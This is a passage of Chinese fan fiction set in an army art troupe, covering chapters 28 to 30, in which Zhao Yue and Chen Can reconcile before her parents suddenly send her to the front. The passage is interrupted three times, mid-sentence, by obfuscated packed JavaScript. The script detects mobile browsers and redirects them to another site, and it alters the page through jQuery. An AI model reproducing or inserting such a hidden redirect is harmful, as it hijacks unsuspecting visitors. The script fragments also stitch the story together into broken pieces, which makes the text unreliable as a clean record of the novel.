;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309109|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了呀?”
“练什么练,”郝淑雯嗤笑一声,“我看他是躲清静去了吧。昨天演出那么热闹,就他不见踪影。”
“可能是有事呢。”萧穗子轻轻替他辩解,脸颊微微泛红。
“有事能有什么事?”郝淑雯挑眉看向陈灿,“你说,昨天是不是故意躲着我们?”
陈灿全程意兴阑珊,有一搭没一搭地应付着,眼神几乎没离开过斜对面的兆悦,声音淡得像水:“没有。”
“没有你怎么不说话?”郝淑雯不依不饶,“以前你可不是这样,还跟我顶嘴呢。”
萧穗子连忙打圆场:“淑雯姐,他可能是累了,昨天又吹号又跑前跑后的。”
“累?我看他是心不在焉。”郝淑雯撇了撇嘴。
兆悦对身边的喧闹充耳不闻,只是安静地靠在何小萍肩上闭目休整,两人安安静静缩在角落,与另一边的热闹格格不入。
陈灿的目光牢牢黏在她身上,一刻也舍不得移开。
清晨的阳光洒在她脸上,飞扬的发丝被照得半透明,莹白的皮肤在日光下泛着一层淡淡的柔光,美得刺眼,也扎得他心口发疼。
她却自始至终没有看他一眼,只是侧着头望向窗外飞速倒退的风景,连一个余光都不肯施舍。
车子一路颠簸,终于回到了文工团大院。
刚一停稳,刘峰就下意识伸手想去扶林丁丁,那动作熟练又自然,是藏不住的满心欢喜。
兆悦看着这一幕,心里轻轻叹了一声——我本将心向明月,奈何明月照沟渠,刘峰的心意,从来都是明明白白的。
恍惚间,她又不受控制地想起陈灿。
记忆里电影中最有趣的片段,就是此刻。
下车时,陈灿伸出手,郝淑雯和萧穗子同时伸手去接,他眼神看向郝淑雯,最后却扶了萧穗子。
那一幕,曾让她心口发酸。
不。
兆悦猛地收回思绪,用力闭了闭眼。
不要再想他了,不要再想电影里的一切了。
那些都是假的,现在发生的,才是真的。
经过昨夜那一场彻骨的挣扎,她已经下定决心,不再被剧情绑架。
既然那么多事情都已经被改变,那结局,说不定也会不一样。
她决定,给自己一点时间,也给陈灿一次最后的机会。
而陈灿,又何尝不是一夜未眠。
昨夜等他匆匆赶去见分队长,再回头时,土坡上早已空无一人。
他坐在营房里,睁着眼直到天亮。
他一遍一遍回想兆悦那深沉复杂的眼神,回想她
那句“你到底想怎么样”,回想她转身时那毫无留恋的背影。
他怕了。
他怕自己再含糊下去,就真的永远失去她了。
他不想再冷战,不想再猜忌,不想再彼此煎熬,更不想错过。
他心里清清楚楚——他不能没有她。
车子一停,陈灿几乎是立刻翻身下车,动作又急又快。
他记得清清楚楚,上一次,就是在这里,他的手
还没伸出去,就被杭春明抢先一步。
这一次,他绝不会再让机会溜走。
他抬眼扫了一眼后面的车,杭春明、卓玛、朱克几个人正凑在一起打扑克,吵吵闹闹,根本没注意这边。
很好。
陈灿收回目光,视线直直落在车上那个依旧望着窗外、连看都不看他一眼的身影上。
这一次,他要亲自伸手。
亲自,把她接下车。
28. 和好
皮卡刚停稳在文工团院子里,陈灿几乎是不假思索,一步跨到车边,抬眼就直直看向兆悦。
车厢里,萧穗子和郝淑雯正准备往下跳,见他站在那儿,都以为是来搭把手的。
郝淑雯还笑着伸手:“哎,陈灿,扶我一把——”
萧穗子也轻轻把手伸了一点,脸颊微微泛红,等着他来扶。
可陈灿像是没看见她们俩,目光自始至终锁在角落里的兆悦,手臂坚定地伸在车边,掌心朝上,一副不伸手不罢休的固执模样。
动作执着,却也还算守着部队里的分寸。
兆悦愣了一下,指尖微微蜷起。
她心里还绷着昨夜那根弦,可看着他眼底毫不掩饰的紧张与认真,那点硬撑起来的冷漠,还是悄悄裂了一道缝。
——他终究,还是伸出手了。
不是对着郝淑雯,不是对着萧穗子,是对着她。
周围的动静只是轻轻一顿,没有人喧哗,却有几道目光悄悄落了过来。
郝淑雯伸在半空的手自然收回,挑了挑眉,心里暗暗纳罕——这俩人前段时间还跟陌生人一样,怎么忽然就递上扶手了?
她伸在半空的手干脆收回,挑着眉,一脸玩味地盯着两人。
萧穗子则飞快低下头,手指轻轻攥了攥衣角,心里莫名泛起一点空落落的滋味,却很快自我安慰:他只是先看到兆悦而已,没别的意思。
兆悦深吸了一口气,迎着几道目光,缓缓把手放进了他的掌心。
陈灿的手掌宽大、温热,带着练小号磨出的薄茧,一碰到她的手,便立刻轻轻扣住,稳稳地把她扶下车。
力道很小心,却又抓得很紧,像是怕一松手,她又退回到冷冰冰的距离里。
双脚落地的那一刻,兆悦轻轻抬眼,声音压得极低,只有两人能听见:“昨晚……算你过关。”
陈灿心口猛地一松,眼睛瞬间亮了起来,压了一整夜的紧张和慌乱顷刻间散了。他喉结动了动,也压低声音:“我以后不会再让你一个人难过,不会再让你等。”
话音刚落,郝淑雯就从车上跳了下来,径直走到两人面前,胳膊一抱,直接开口打趣:“陈灿,你什么德行啊?前段时间还跟人家不说话,现在倒好,伸手只扶她一个?你们俩什么时候偷偷熟起来的?”
她向来心直口快,有什么问什么,半点不藏着掖着,语气里全是好奇和调侃。
陈灿连眼神都没躲,半点不装队友,直接抬眼顶了回去,语气带着点被打扰的不耐烦:“你管得着吗?”
一句话堵得郝淑雯一噎,眼睛瞪得溜圆。
兆悦在旁边听着,心里明明受用,脸上却还要端着淡定,轻轻扯了下陈灿的胳膊,笑着打圆场,把话说得漂亮体面:“行了,别跟淑雯呛。扶一下而已。”
她说得云淡风轻,仿佛真的只是普通照应。
原本摇摆不定、暧昧不清的关系,彻底拐向了新的方向,剧情和人物之间的距离,早已经发生了翻天覆地的改变。
正安静着,院门口传来通讯员的喊声:
“通知——十分钟后澡堂供水,女兵先洗!男兵一个小时后再进,锅炉供不上两拨人!”
人群立刻活络起来。
何小萍摸了摸口袋里刚晒好的照片,本想先去邮局寄给家里,兆悦却轻轻挽住她的胳膊,带着刚歇下来的慵懒:“先陪我洗澡,照片晚点再寄也不迟。”
何小萍对兆悦向来言听计从,立刻点头笑了:“好,我陪悦儿姐一起。”
女兵澡堂里水汽氤氲,暖烘烘的。
何小萍如今已经养成了每天洗漱的习惯,再加上兆悦送她的香波,身上清清爽爽。
再加上大家都知道她是干部子弟,从头到尾就没有人议论过她,更没人敢对她说半句不好听的话。
等两人一身清爽地走出澡堂,头发半干,文工团的院子里已经彻底闹开了。
没了拉练演习的任务,年轻的男男女女聚在一处,空气里都是少年人独有的鲜活气息。
陈灿自从兆悦肯伸手让他扶下车,整个人才算彻底回了魂,之前那副魂不守舍、意兴阑珊的模样一扫而空,眉眼间都亮堂起来。
杭春明一巴掌拍在他肩上,挤眉弄眼地凑过来:“醒过来了?走,打球去,别整天魂不守舍的。”
篮球拍在地上发出砰砰的闷响,男兵们很快凑成一队跑跳起来。
女兵们大多倚在栏杆边观看,三三两两低声说笑,眼神时不时往场上飘,少年少女的心思藏在眉眼间,轻轻巧巧地来回碰撞。
不知是谁先喊了一声,提议两两组队打水仗,这话立刻引得一片附和。
嬉笑声刚起,陈灿便扔下手里的篮球,径直越过喧闹的人群,朝着兆悦走了过来。
这一次,他没有躲闪,没有顾忌旁人的目光,就这么大大方方地站到她面前,声音清亮,落在周围人耳中也只是正常的邀约。
“兆悦,我们一组。”
兆悦仰头看他,眼底带着点浅浅的笑意,故意逗他:“不去找她们?刚才还围着你说话呢。”
她轻轻偏了偏头,示意了一眼旁边的郝淑雯和萧穗子。
陈灿摇了摇头,眼神坦荡又认真,没有刻意压低声音,却字字都只说给她听:“不用,我只想跟你一组。”
话音刚落,旁边就有人端着凉水泼了过来,尖叫声与嬉闹声瞬间炸开。
陈灿下意识侧身,一把将兆悦护到身后,自己的后背先溅上了一片凉水,却转过头对着她笑,眉眼弯起,满是藏不住的欢喜。
阳光下,水花飞溅,他不再藏着掖着,不再含糊其辞,就这么明目张胆地,在所有人面前,走向了她。
打水仗的嬉闹声裹着盛夏的热风,在文工团院子里足足飘了一个多小时。
有人端着搪瓷盆当盾牌,缩在篮球架后面偷袭;朱克举着军用水壶不停扫射,被三四个女兵联合起来泼得睁不开眼;杭春明最是调皮,专挑人多的地方冲,转眼就成了众矢之的,浑身湿得像刚从水里捞出来。
郝淑雯性子泼辣,谁泼她她就加倍还回去,叉着腰笑骂,战斗力最是旺盛;萧穗子文静,只敢躲在远处轻轻泼两下,目光却时不时飘向球场中央,看着那个始终围着兆悦转的身影,指尖轻轻搅着湿透的衣角。
刘峰依旧是老好人模样,怕林丁丁被水泼到,默默挡在她身侧,动作温柔又小心,林丁丁嘴上嫌他碍事,脸上却也没真的生气。
而整场闹哄哄的水仗里,最惹眼的始终是陈灿。
他不再像从前那样和男兵们混作一团疯闹,目光几乎牢牢黏在兆悦身上。
谁要是敢朝她泼水,他第一时间挡过去,用自己的后背护住她,反手一盆水还回去,护短得明目张胆。
偶尔兆悦被他逗急了,端起水轻轻泼他一脸,他也不躲,就那样笑着看她,眼底的情绪藏都藏不住。
直到所有人都精疲力尽,笑声渐渐弱了下去,大家才发现彼此浑身都湿透了,军装紧贴在身上,透着盛夏的热气。
“不行了不行了,喘口气……”
“快回宿舍换衣服吧,别一会儿着凉了。”
三三两两的人互相搀扶着往宿舍走,院子里慢慢安静下来,只剩下满地水渍和还没散尽的热闹气息。
兆悦抬手抹了把脸上的水珠,头发湿漉漉地贴在颈侧,浑身湿透,可天气闷热,反倒不觉得冷,只觉得清爽。
她忽然想起,自己怕刚才打水仗把军装弄坏,出发前特意把外套叠好放在了排练厅,加上这次慰问拉练演习的部队,一天一夜都在野外,风沙满天,衣服早就沾了尘土,正好拿回去清洗。
她没多想,也没回头,就那样穿着湿透的短袖,径直朝着排练厅的方向走去。
阳光落在她湿透的肩头,勾勒出清瘦的线条,风吹起她微湿的发梢,轻轻晃着。
她完全没有注意到,不远处,一道身影晃晃悠悠地跟了上来,脚步放得很轻,一步一步,紧紧跟着她的方向。
兆悦推开排练厅的门,午后的阳光斜斜切过空旷的地板,空气中还残留着淡淡的松香与练功垫的气息。
她径直走到角落的储物柜旁,弯腰取出自己叠得整齐的军装外套,指尖刚碰到布料,刚一直身——忽然,一整片温热结实的胸膛,轻轻贴上了她的后背。
没有用力,没有惊吓,只是安静、沉稳、带着一点小心翼翼的贴近。
她整个人猛地一僵。
熟悉的气息瞬间包裹过来——是干净的皂角香,是阳光晒过的暖味,还有刚刚打水仗沾在身上的清浅水汽,混在一起,成了她最无法抗拒的味道。
不用回头,她也知道是谁。
陈灿。
他一路跟着她过来,一直没出声,安安静静落在身后,直到此刻,才终于敢这样靠近。
兆悦的后背能清晰感受到他胸腔轻微的起伏,还有他克制却无法掩饰的心跳,一下、一下,沉稳又有力,隔着两层湿透的衣衫,撞得她心口也跟着发颤。
她攥着衣服的手指微微收紧,耳尖不受控制地发烫,声音轻得发哑,却还强装镇定:“你跟着我干什么?”
身后的人微微低下头,温热的呼吸轻轻落在她湿凉的发顶。
他没敢真的抱她,只是虚虚地贴着,手臂轻轻圈在她身侧,把人浅浅护在怀里,指尖连她的衣角都没敢乱碰。
空旷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309110|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的排练厅里只剩窗外的蝉鸣,安静得能听见彼此浅浅的呼吸。
兆悦被他贴得浑身发烫,轻轻挣了一下:“别闹,大白天的,一会儿有人进来了。”
陈灿下巴轻轻蹭了蹭她的发顶,声音低低的,带点笑意,又黏又软:“就闹一会儿。”
她能感觉到他胸口微微的震动,是在笑。
他身上也是湿的,冰凉的布料贴着她,却偏偏让人心口发烫。两个人都刚从水仗里出来,头发滴着水,军装浸着潮气,可贴在一起时,反倒比任何时候都要安心。
她握着军装的手指松了松,忽然轻轻开口,声音细得像蚊子哼:“陈灿。”
“嗯?”他应声贴得更近了点。
“你再这样……”兆悦顿了顿,声音依旧稳,只是尾端轻轻扬了点。
她没有偏头躲,只是依旧维持着原来的姿势,语气藏着一丝纵容,“等下被人撞见,你又要装没事人。”
“那我挡着。”他立刻接话,手臂虚虚往她身侧又收了半寸,依旧不碰她,就是圈出一小片只有两人的空间,“有人来我先站开,保证不连累你。”
兆悦指尖一顿,没接话。
“你跟过来,就为了这个?”她淡淡开口,语气听不出喜怒,只有自己知道,心跳早已乱了节拍。
“对了。”陈灿忽然想起什么,慢悠悠开口,“刚才郝淑雯还拽着我问,说前段时间看我俩连话都不说,怎么今天忽然凑一块儿了。”
“你怎么说的?”兆悦随口问。
“我说——”他故意拖长调子,逗她心痒,“我说关你什么事。”
兆悦淡淡评价:“无聊。”
“我只跟你说。”他接得飞快,语气自然又顺口,说完自己都没察觉有多黏,“别人我懒得理。”
兆悦指尖轻轻敲了敲怀里的衣服,没接这句,转而道:
“你再贴着,我这身干衣服就要被你蹭湿了。”
“我也湿着。”他理直气壮,“咱俩谁也别嫌谁。”
“那你离我五公分。”兆悦提条件。
“不行。”他一口回绝,耍赖得理所当然,“一公分都不行。”
“你讲不讲理?”
“跟你不讲理。”
兆悦被他堵得没话说,干脆闭了嘴,任由他在身后贫嘴。
兆悦缓缓转过身,怀里抱着叠得整齐的军装。
一转身,两人目光毫无防备地撞在一起。
他微微低着头,她微微抬着眼,视线在半空轻轻一碰。
因为贴得极近,这对视来得猝不及防,连呼吸都
几乎交缠在一起。
一瞬间,两人心里都轻轻抽了一下。
太久没有这样认认真真、安安静静地对视了。
没有躲闪,没有冷淡,没有赌气,就只是看着对方。
近得能看清他眼尾的弧度,近得能看清她睫毛的微动,心跳不约而同地乱了一拍,又一拍,轻轻撞在胸口,不响,却很沉。
兆悦眼底极轻地动了动,面上依旧稳着,只是轻轻开口,语气淡却带点逗弄:“刚才在车上,郝淑雯跟穗子围着你,你倒是应付得很自然。”
陈灿喉结轻轻滚了一下,目光还落在她脸上,声音压得低低的,带点无奈的笑:“她们凑过来说话,我总不能直接扭头走人。”
“我看你挺乐在其中。”兆悦眉尖微挑,语气轻飘飘的,故意戳他一下。
“乐在什么。”陈灿飞快摇头,语气真诚又好笑,“吵得我头都大了,只想离远点。”
“离远点然后来烦我是吧。”兆悦淡淡接话。
“嗯。”他居然还应得理直气壮,眼底带着笑意,“烦别人没意思,烦你比较有意思。”
兆悦安静看了他两秒,没接这句,只是换了个随口的话题:“刚才打水仗,你往我这边泼了好几次。”
“我那是帮你躲别人。”陈灿立刻找理由,说得一本正经,“不然你早被杭春明泼透了。”
“我自己能躲。”兆悦不为所动。
“我知道。”他点点头,语气自然得不像话,“但我就是想站你旁边。”
这话不算直白,却足够让空气轻轻一滞。
兆悦睫毛轻轻垂了垂,再抬起来时,依旧是那副平静的样子,只是声音放轻了一点:“你倒是越来越会说了。”
“只跟你说。”陈灿接得飞快,一点都不别扭,“跟别人,我半句多余的都没有。”
兆悦抱着怀里干净的军装,指尖轻轻松了松,终于先移开目光,看向一侧,语气恢复了平常:“我该回去换衣服了,这身湿着不舒服。”
陈灿没黏缠:“我送你到宿舍楼下。”
29. 暴雨
回到女兵宿舍,湿衣服换下来叠在盆边,午后的阳光透过窗棂洒在床板上,暖洋洋的。
兆悦刚把干净的军装抚平,身后就传来一阵风风火火的脚步声。
郝淑雯往她床边一站,胳膊一抱,下巴微抬,端起几分舍长的架势,眼睛直勾勾盯着她,摆明了要审人。
“兆悦,你老实交代。”郝淑雯声音压得不低,却也刻意放轻,怕吵到别人,“我怎么不记得,你跟陈灿什么时候熟得这么近了?”
兆悦手上的动作没停,指尖理着衣角,神色平静得看不出半点异样:“就那样,没多熟。”
“没多熟?”郝淑雯立刻挑眉,一脸“你少糊弄我”,“今天在车上,他伸手只扶你一个;刚才在院子里,打水仗他眼睛全程黏你身上;现在你俩还一前一后从外面回来,当我瞎啊?”
一旁正坐在床边擦头发的萧穗子听见这话,动作顿了顿,轻轻抬起头,小声替两人圆话:“淑雯姐,你别多想,就是队友之间互相照应……陈灿可能就是刚好看见兆悦了,才扶一把的。”
她说得温温柔柔,语气却轻了几分,像是在说服别人,又像是在拼命自我催眠,强迫自己相信这只是再普通不过的队友情谊。
郝淑雯瞥了萧穗子一眼,又转回头盯着兆悦,半点不肯松口:“别人我信,陈灿我还不了解?以前跟你话都没几句,现在恨不得凑到跟前去,这叫没多熟?我刚才跑去问他,他倒好,嘴严得跟缝起来一样,半句不肯说,我这不就来问你了。”
兆悦这才抬眼,淡淡看向郝淑雯,语气依旧稳:“真没什么,你想多了。”
郝淑雯还想再追问,门口传来其他女兵说笑的声音,她只好暂时作罢,狠狠点了点兆悦,一脸“我早晚问出来”的表情,转身走开了。
萧穗子低下头,手指轻轻绞着毛巾,心里那点说不清道不明的情绪,又轻轻浮了上来,却始终没再多说一句。
天色渐渐暗了下来,文工团的排练厅亮起灯光。
兆悦一推开门,就看见角落里已经有个身影在对着镜子舒展动作——是何小萍。她安安静静地练着,动作标准又认真,连有人进来都没太分心。
兆悦刚要抬脚离开,身后一道身影快步跟了上来。
陈灿完全没看见厅里还有别人,眼里只有兆悦一个人,几步凑到她身边,自然而然地往她跟前靠近,语气轻快地开口:“我还以为你要晚点来,刚想去宿舍楼下找你。”
他靠得近,说话的语气自然又亲昵,和白天在排练厅里别无二致,半点没遮掩。
兆悦刚想开口提醒,角落里的何小萍已经停下了动作,看着两人这般亲近的距离,有些无措地收回手,轻轻、尴尬地咳嗽了一声。
陈灿这才猛地回过神,抬眼望去,这才发现排练厅里,竟然还有第三个人。
陈灿一抬眼撞见何小萍站在那儿,整个人瞬间僵住,耳朵“唰”地一下就热了。
刚才那股子自然而然凑上去的热络劲儿,当场僵在半空,手脚都不知道往哪儿放,尴尬得恨不得找个地缝钻进去。
何小萍一看这气氛,立刻就明白了,脸上一慌,连忙停下动作,抱着胳膊小声说:“我、我是不是打扰你们了?那我先走,我回宿舍去——”说着就慌慌张张去拿放在边上的外套,一副急着给两人腾地方的模样。
兆悦连忙上前一步,轻轻按住她的胳膊,语气温温柔柔,却带着不容推辞的笃定:“不用走,你留在这儿练。”
她太清楚何小萍的性子,向来习惯退让、习惯把空间让给别人,明明是自己先来的,却总觉得是自己碍事。
“你好不容易抽时间加练,别因为我们走。”兆悦声音放轻,“我们本来也没打算在这儿久待,正好出去说两句话,不耽误你。”
何小萍愣了愣,看了看兆悦,又看了看一旁还在尴尬的陈灿,这才慢慢点了点头,小声应下:“……好。”
兆悦这才收回手,对着她轻轻点头示意,转身往排练厅外走。
陈灿跟在她身后,一出大门,立刻垮下脸,小声唉声叹气,一脸委屈:“完了,秘密基地没了。”
兆悦淡淡瞥他一眼,往前走了几步,才慢悠悠开口:“什么秘密基地,这是团里的排练厅。”
“那不一样。”陈灿立刻跟上,理直气壮,“就我们俩的时候,多好?现在多个人,以后想安安静静说句话都难了。”
夜色浸着微凉的风,路灯把两道身影拉得又细又长,两人始终隔着一段不远不近的安全距离,慢慢走着。
没有多余声响,只有脚步轻轻擦过地面,连呼吸都放得很轻。
千言万语都堵在胸口,却谁也没先开口。
兆悦走在一旁,指尖微微蜷了又松,好几次偏过头,想开口说点什么,话到嘴边又轻轻咽了回去。
她心里是盼着的,盼他再往前一步,盼他把那些没说透的心思,说得再明白一点。
可陈灿只是安静陪着,脚步放得和她一样慢。
他能清晰感觉到她欲言又止的模样,那双平静的眼睛里,藏着他读得懂、却不敢轻易戳破的情绪。
他不是不想,只是青涩又忐忑,怕自己唐突,怕吓着她,更怕这份好不容易靠近的默契,一用力就碎了。
他只敢用沉默陪着,用眼神悄悄描摹她的侧脸。
一路安静,却比任何话语都更挠心。
直到走到女兵宿舍楼下,兆悦才轻轻停下,低声道:“我到了。”
陈灿抬眼看向她,眼底亮着细碎的光,喉结轻轻滚了一下,只轻声道:“……早点休息。”
兆悦点点头,转身的那一刻,两人心里都轻轻一空,像是有句话,终究没能说出口。
一夜无眠。
第二天,天阴沉得吓人,黑压压的乌云压在营房上空,瓢泼大雨倾盆而下,砸得地面噼啪作响。
空气里闷得喘不过气,明明是夏天,但连风都是冷的,透着一股说不出的压抑。
文工团的训练还没结束,哨声却突然尖锐地响起。
“紧急集合!上面首长到!全体到大门口列队!”
所有人都是一怔。
往常演出、任务,分队长在排练厅说一声便是,从没有过顶着暴雨、让首长亲自过来的先例。
不安像潮水般漫开。
大家匆匆套上墨绿色的雨披,雨水顺着帽檐往下淌,一张张脸肃穆又疑惑,整齐地站在大门口,连呼吸都放轻。
“文工团集合完毕——应到八十五人,实到七十五人!请首长指示!”
来人面色严肃,标准的军礼落下,气氛绷得像拉满的弓。
没有多余寒暄,声音冷硬干脆,直接穿透雨声:
“兆悦同志,出列。”
“兆悦!”
“到!”
“出列!”
“是!”
兆悦迈步出列,雨水打湿她的发梢。
全场一片死寂,所有人都懵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309111|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,目光齐刷刷落在她身上,困惑、不安、揣测。
陈灿整个人瞬间僵住,心脏猛地一沉,慌得几乎站不稳。
他和兆悦隔着十来个人,视线被人群挡住,看不见她的表情,只觉得耳边雨声轰鸣,手脚冰凉。
首长的声音再次响起,简短、肃穆,字字像重锤砸在每个人心上:“今代表组织,欢送兆悦同志。该同志主动请缨、志愿赴一线作战单位服役,今日即刻启程。”
主动请缨。
志愿赴一线。
即刻启程。
兆悦脑子里“嗡”的一声,彻底空白。
下一秒,她就想清楚,是她的父母,用强硬的命令,把她直接推向了枪林弹雨的前线。
周围瞬间炸开无声的哗然。
所有人都懵了,面面相觑,满眼不敢置信。
前段时间老队员转行,大家还在私下猜测谁会离开,可谁也没有想到,会是兆悦,更没有想到,是直接去最危险的一线战场。
文工团安稳体面,远离硝烟,而一线,是拿命去拼的地方。
最崩溃的人,是陈灿。
天旋地转,眼前发黑,整个世界仿佛都在暴雨里崩塌。
为什么?
为什么昨天晚上半句都不提?
为什么连一句交代都没有?
为什么要去那么危险的地方?
为什么要把自己置于生死未卜的境地?
无数个为什么疯狂砸在他心上,痛得他无法呼吸,浑身僵硬如石。
领导不再多言,只冷声命令兆悦立刻收拾行李,马上出发。
军令如山,没有任何转圜的余地。
队伍齐步撤离,人群涌动,只有陈灿僵在原地,一动不动,眼神空洞得吓人,像被抽走了所有魂魄。
杭春明看得心惊肉跳,怕他当场失控做出出格的事,咬牙硬生生将他往营区里拖,冰冷的雨水浸透两人的军装,沉重得如同此刻的心情。
兆悦站在滂沱大雨里,浑身冰冷,脑子一片混乱。
她不明白,为什么父母要以这样极端、这样不留余地的方式,强行拆散她刚刚拥有的、一点点温暖。
一只手用力而稳定地扶住了她。
是沈一娣。
自从被杨铮拒绝后,她反倒褪去了往日的稚气,活得通透、清醒、果决。
“别愣着!”沈一娣的声音很稳,穿透雨声,“这个安排你改不了,我一猜就是你父母的意思!你现在什么都别想,快去跟陈灿说清楚——不然,你们这辈子,真的就错过了!”
“快去!行李我帮你收拾!我给你争取时间,你去找他!快!”
兆悦眼眶一热,再也顾不上其他,转身冲进雨幕。
另一边,杭春明一言不发。
他太清楚兆悦父母极强的控制欲,也太明白陈灿此刻的心碎与绝望。
他沉默地把失魂落魄的陈灿拽进空无一人的排练厅,独自守在门口。
看见兆悦浑身湿透地狂奔而来,杭春明只沉沉开口,声音沙哑:“他在里面。”
暴雨滂沱。
每个人脸上都淌着水,早已分不清,是冰冷的雨水,还是滚烫的泪水。
兆悦颤抖着脱下沉重湿透的雨披,推开排练厅沉重的大门。
屋内没有开灯,昏暗又安静,只有窗外的天光透进一点点冷色。
陈灿就站在大厅正中央,面色极冷,眼神空洞,一动不动。
30. 硝烟
排练厅里昏暗安静,窗外暴雨哗哗作响,把整个世界隔得遥远。
四目相对的瞬间,他眼底终于有了一丝波澜,却碎得厉害。
他开口,声音沙哑得像被砂纸磨过,每个字都在发抖:“为什么……为什么不告诉我?”
兆悦喉咙发紧,一步步朝他走近,轻轻摇了摇头:“不是我。”
“不是你?”陈灿重复一遍,胸口剧烈起伏,“那你为什么会被调去一线?为什么要这样突然离开?”
兆悦闭上眼,再睁开时,眼底已满是涩意:
“是我父母。是他们下的命令,以组织的名义,把我调走的。”
陈灿猛地一怔。
他也是干部子弟,比谁都清楚那种被父母牢牢掌控、身不由己的滋味。
军令如山,安排既下,连反抗的余地都没有。
一瞬间,他所有的质问都堵在了胸口,只剩下无力。
他懂,他全都懂。
可正因为懂,才更绝望。
他红着眼,声音轻得几乎听不见,却藏着最害怕的问题:“那……我们怎么办?”
兆悦浑身一震,都到如今这种时候了,他也不愿意说清楚吗?
积压了许久的情绪突然翻涌上来,她猛地抬眼,语气里带着压抑已久的委屈与火气:“陈灿,你到现在还问我怎么办?你到现在都不能说清楚吗?!”
陈灿被她这一声凶得愣住,呆呆看着她。
“我一直等,一直等。”兆悦的声音发颤,眼泪终于控制不住地掉下来,“我等你往前一步,等你把话说清楚,等你亲口确认我们之间算什么。可你呢?你就只敢跟我暧昧,只敢靠近,却不敢认——你就那么享受不清不楚的状态吗?”
她吸了吸鼻子,眼泪越掉越凶:“你是不是觉得,不确认关系,就可以不用负责,不用当真?是不是觉得,我就该这样陪着你,一直不明不白下去?”
“不是!”陈灿猛地出声,急切地打断她,眼眶通红,“我没有!我从来没有这么想过!”
“那你为什么不说?”兆悦逼视着他。
陈灿往后退了小半步,肩膀垮下来,整个人像被剥去了所有伪装,露出最青涩、最不安的内里。
他声音发颤,把藏在心底最深处的胆怯,一股脑全说了出来:
“我怕……我怕我配不上你。你那么好,那么耀眼,身边谁都喜欢你,我看着就觉得慌。”
“我怕我一开口,连现在这点亲近都没了。我怕你拒绝我,怕你只是逗逗我,怕我认真了,你却退了。”
“你比我成熟,比我稳重,什么都藏得住,我看不懂你,我怕我一陷进去,就出不来了……”
他越说越乱,越说越哽咽,少年所有的骄傲,在这一刻碎得一干二净。
原来他所有的迟疑、所有的不敢靠近、所有的青涩克制,全都是因为——太怕失去。
兆悦怔怔看着他,眼泪掉得更凶。
原来他不是不在意,不是不喜欢。
只是太胆小,太笨拙,太晚熟。
一切都清楚了。
可一切,也都晚了。
“你这个笨蛋……”她哽咽着,声音轻得像叹息,“你为什么不早说?为什么不能早一点勇敢一点?”
“对不起……对不起,兆悦,都怪我,都怪我……”
陈灿不停地道歉,眼泪终于砸了下来,十七八岁的少年,哭得像个孩子,“我应该早一点说的,我应该早一点拉住你,早一点告诉你我喜欢你……是我太慢了,是我没用,现在……现在全都来不及了……”
他一边哭,一边不由自主地朝她走近。
两人之间的距离越来越近,近到能看清彼此脸上的泪痕,近到呼吸交缠。
陈灿颤抖着抬起手,指尖轻轻抚上她的脸颊,动作轻得像怕碰碎一件珍宝。
“这是我第一次……摸你的脸。”他哭着,却又扯出一点极浅的笑,笑得比哭还让人心疼,“其实我很早以前就想摸摸看了……”
掌心的温度烫得吓人,带着泪水的咸湿,落在她皮肤上,灼烧着每一寸神经。
两人就那样静静对视,眼底全是对方,全是迟来的、汹涌的心意。
到了这一步,还有什么好说的。
兆悦望着他,眼泪模糊视线,轻声说:“陈灿,我现在不想听对不起。”
陈灿心口一紧。
下一秒,他用尽全身力气,终于把那句迟到了无数个日夜的话,说了出来:
“兆悦,我喜欢你。我喜欢你,不是闹着玩,我是真的……喜欢你。”
话音刚落,兆悦猛地踮起脚,伸手抱住他的脖子,吻了上去。
泪水的咸涩、呼吸的慌乱、心底的委屈、不舍、疯狂的心动,全都揉进这个吻里。
没有技巧,没有试探,只有压抑到极致的情感,在这一刻彻底爆发。
陈灿僵了一瞬,立刻伸手紧紧抱住她,近乎失控地回应。
雨还在窗外下,世界在这一刻消失不见,只剩下彼此。
吻了很久很久,直到两人都喘不过气,被咸咸的眼泪打断。
陈灿把脸埋在她肩窝,浑身发抖,痛苦地闷声问:“你现在这算什么……你还回来吗?兆悦,你告诉我,你会回来对不对?你一定要回来,你答应我,你一定要活着回来……”
“我答应你。”兆悦抱着他,声音轻却坚定,“我答应你,我一定回来。”
“等我。”
“好。”陈灿死死咬住牙,泪如雨下,“我等你,多久都等。”
不知过了多久,外面传来隐约的催促声。
时间,到了。
两人缓缓松开彼此,眼眶通红,脸上全是泪痕,却再也舍不得移开目光。
兆悦最后看了他一眼,转身,一步一步走向门口。
每一步,都像踩在心上。
她推开排练厅的门,暴雨依旧滂沱。
